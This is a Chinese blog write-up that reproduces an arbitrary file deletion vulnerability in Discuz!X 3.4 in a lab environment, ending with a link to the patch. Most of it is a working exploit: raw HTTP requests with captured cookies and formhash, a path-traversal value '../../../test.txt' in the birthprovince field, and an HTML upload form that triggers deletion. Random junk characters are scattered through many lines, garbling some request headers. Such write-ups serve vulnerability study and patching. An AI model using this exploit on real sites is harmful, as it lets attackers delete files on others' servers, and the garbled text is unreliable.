Discuz!X 3.4 任意文件删除漏洞复现

fudyou

- `; j  p, Z  l8 a
前言：9月29日，Discuz修复了一个前台任意文件删除的漏洞，相似的漏洞曾在2014年被提交给wooyun和discuz官方，但是修复不完全导致了这次的漏洞。网上很多说官方3.4版本已修复，但我用环境的是vulhub上3.4版本。所以不知道3.4修复没修复直接复现一下。
影响版本：Discuz < =3.4 环境
1 z6 f3 I- M( c7 j$ x1 {
复现过程：首先在discuz目录下新建一个test.txt文件，到时候删除用。
5 M6 C& W" n# \' I新建test.txt
. u8 U" Z; }. K8 i! n访问：http://192.168.220.131/home.php?mod=spacecp，然查审查元素，查看formhash的值，然后复制。

3 `! J" K5 X# p0 s1 A1 S! p0 ]& T
7 b2 t8 I% d! [( q$ O/ l. r+ q$ N) k查看formhash
利用burp抓包，获取cookie
7 X$ r6 s- |6 e. ^6 H: z, }

* G+ {; I4 X8 h1 g! j

  u$ Y4 q0 m  g9 C+ ^. b  P6 w
抓取cookie

7 k- z0 f$ p: q9 h3 Y1 v发送下面数据包：修改cookie，formhash,还有删除的文件
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
; a% y0 b1 u) xHost: localhost
Content-Length: 367
Cache-Control: max-age=0
- t3 u. h6 s! b8 p: RUpgrade-Insecure-Requests: 1
: O3 g$ U/ L0 M6 A! G+ dContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
# p0 N4 L: L0 Z9 ]8 Y' NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
# h4 H+ j2 S8 z6 o( m: w+ gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
# y4 W3 @! N* ~, fCookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
. K; L3 F! v4 C- l% r  c2 F0 [9 nContent-Disposition: form-data; name="formhash"
84a7f376
% P* y9 @1 b! w5 x------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
9 v' }* I7 s5 V) Q. T../../../test.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
3 i! x; k/ q7 w9 R; K! V0 O. g------WebKitFormBoundaryPFvXyxL45f34L12s--
发送删除的数据包
刷新页面，查看出生地就会显示成下图所示的状态：
数据成功写入
' D5 H$ g' q9 f+ C( P% r
/ \! y/ W0 G. z+ S2 h6 M
说明数据已经进入数据库：
, r8 n7 Q8 ~9 e4 I然后，新建一个upload.html，代码如下，将其中的ip改成discuz的域名，[form-hash]改成你的formhash：
<form action="http://192.168.220.131/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
1 F9 o4 l3 N& h<input type="file"name="birthprovince" id="file" />
! |# b9 z- B: |8 G1 u<input type="text"name="formhash" value="84a7f376"/></p>
: h1 z" c% {/ V) M* H  a<input type="text"name="profilesubmit" value="1"/></p>
<input type="submit"value="Submit" />
</from>



7 a% P% Z/ E  Q& E1 {
. p( _$ n% i# c& e- o5 _8 @
& p: x( W0 k: j! g$ C+ W- q或者直接构建数据包：
POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=84a7f376 HTTP/1.1
Host: 192.168.220.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
% {* ~: u1 Q) c3 \# UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
4 O, E; l0 V. Q, o: R9 h8 W& X8 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------123821742118716
Content-Length: 91989
8 u2 x9 Z: ~  y, u, o: Z  _Connection: close
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
; h/ [4 U: F! L  w4 {, JUpgrade-Insecure-Requests: 1
+ F; Z  i$ `; l8 N, v-----------------------------123821742118716
Content-Disposition: form-data; name="birthprovince"; filename="0.jpg"
1 s$ u" I5 s+ P: v( wContent-Type: image/jpeg
/ f1 o# ]' B" z4 W; a3 T+ Vzerba（这里写啥都可以）
1 w& H; K7 u0 _0 J1 _8 ^) N2 N-----------------------------123821742118716--
* P2 h& s/ r2 g8 o


/ J2 R3 }" \2 {1 i: A
7 z: O/ B; M5 r$ ^

5 k$ x9 Q0 z, G) i" [3 j

, ?3 y1 u/ K1 [  S


进去discuz看看，可以看到，test.txt文件已经被删除了。



0 T) G3 H9 c5 q, ]8 h

修复建议：https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
$ {9 P0 y4 }* P$ _编辑upload/source/include/spacecp/spacecp_profile.php文件，删除和unlink相关代码。
# e8 }% V8 `3 w1 |$ P. k
. W9 I/ h8 t8 U9 T; K, ^  v# l2 x
+ ?% U7 c; E4 w- ]
" R2 I# ?& A: o/ w

9 R1 {7 J. }4 C$ z" c